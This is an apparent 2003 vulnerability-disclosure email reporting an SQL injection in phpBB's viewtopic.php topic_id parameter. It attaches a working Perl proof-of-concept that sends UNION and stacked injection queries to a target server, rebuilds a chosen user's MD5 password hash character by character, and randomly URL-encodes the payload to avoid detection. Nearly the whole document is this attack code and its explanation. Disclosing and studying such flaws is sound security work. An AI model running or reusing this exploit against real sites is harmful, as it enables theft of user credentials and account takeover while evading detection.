Date: Thu, 19 Jun 2003 01:27:37 -0600
From: Rick <[email protected]>
To: [email protected]Subject: phpBB password disclosure by sql injection
------=_NextPart_000_0008_01C33601.F806D390
Content-Type: text/plain;
charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Hi
There is sql injection vuln in phpBB. The variable "topic_id" is passed
directly from GET to sql query in /viewtopic.php. It can be used
to get md5 passwords for users. I am attaching details and proof of
concept code. I've only tested this on mysql 4 and pgsql at my home
machines so I might have missed something...
Rick Patel
------=_NextPart_000_0008_01C33601.F806D390
Content-Type: application/octet-stream;
name="phpbb_sql.pl"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="phpbb_sql.pl"
#!/usr/bin/perl -w
#
#
# phpBB password disclosure vuln.
# - rick patel ([email protected]) -
#=09
# There is a sql injection vuln which exists in /viewtopic.php file. The =
variable is $topic_id
# which gets passed directly to sql server in query. Attacker could pass =
a special sql string which
# can used to see md5 password hash for any user (!) for phpBB. This =
pass can be later used with
# autologin or cracked using john. =20
#
# Details:=20
#
# this is checking done for $topic_id in viewtopic.php:
#
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id =3D intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id =3D intval($HTTP_GET_VARS['topic']);
# }
#
# ok... no else statement at end :)
# now if GET[view]=3Dnewest and GET[sid] is set, this query gets =
executed:
#
# $sql =3D "SELECT p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " =
. USERS_TABLE . " u
# WHERE s.session_id =3D '$session_id'
# AND u.user_id =3D s.session_user_id
# AND p.topic_id =3D $topic_id
# AND p.post_time >=3D u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";
#
# Ahh! $topic_id gets passed directy to query. So how can we use this to =
do something important? Well
# I decided to use union and create a second query will get us something =
useful. There were couple of=20
# problems i ran into. first, phpBB only cares about the first row =
returned. second, the select for first
# query is p.post_id which is int, so int becomes the type returned for =
any other query in union. third,
# there is rest of junk at end " AND p.post_time >=3D ..." We tell mysql =
to ignore that by placing /* at end
# of our injected query. So what query can we make that returns only =
int? =20
# this one =3D> select ord(substring(user_password,$index,1)) from =
phpbb_users where user_id =3D $uid
# Then all we have to do is query 32 times which $index from 1-32 and we =
get ord value of all chars of
# md5 hash password.=20
#
# I have only tested this with mysql 4 and pgsql . Mysql 3.x does not =
support unions so you would have to tweak
# the query to do anything useful.=20
#=09
# This script is for educational purpose only. Please dont use it to do =
anything else.=09
#
use IO::Socket;
$remote =3D shift || 'localhost';
$view_topic =3D shift || '/phpBB2/viewtopic.php';
$uid =3D shift || 2;
$port =3D 80;
$dbtype =3D 'mysql4'; # mysql4 or pgsql=20
print "Trying to get password hash for uid $uid server $remote dbtype: =
$dbtype\n";
$p =3D "";
for($index=3D1; $index<=3D32; $index++)
{
$socket =3D IO::Socket::INET->new(PeerAddr =3D> $remote,
PeerPort =3D> $port,
Proto =3D> "tcp",
Type =3D> SOCK_STREAM)
or die "Couldnt connect to $remote:$port : $@\n";
$str =3D "GET $view_topic" . "?sid=3D1&topic_id=3D-1" . =
random_encode(make_dbsql()) . "&view=3Dnewest" . " HTTP/1.0\n\n";
print $socket $str;
print $socket "Cookie: phpBB2mysql_sid=3D1\n"; # replace this for pgsql =
or remove it
print $socket "Host: $remote\n\n";
while ($answer =3D <$socket>)
{
if ($answer =3D~ /Location:.*\x23(\d+)/) # Matches the Location: =
viewtopic.php?p=3D<num>#<num>
{
$p .=3D chr ($1);
}
}
=09
close($socket);
}
print "\nMD5 Hash for uid $uid is $p\n";
# random encode str. helps avoid detection
sub random_encode
{
$str =3D shift;
$ret =3D "";
for($i=3D0; $i<length($str); $i++)
{
$c =3D substr($str,$i,1);
$j =3D rand length($str) * 1000;
=09
if (int($j) % 2 || $c eq ' ')
{
$ret .=3D "%" . sprintf("%x",ord($c));
}
else
{
$ret .=3D $c;
}
}
return $ret;
}
sub make_dbsql
{
if ($dbtype eq 'mysql4')
{
return " union select ord(substring(user_password," . $index . ",1)) =
from phpbb_users where user_id=3D$uid/*" ;
} elsif ($dbtype eq 'pgsql')
{
return "; select ascii(substring(user_password from $index for 1)) as =
post_id from phpbb_posts p, phpbb_users u where u.user_id=3D$uid or =
false";
}
else=20
{
return "";
}
}
------=_NextPart_000_0008_01C33601.F806D390--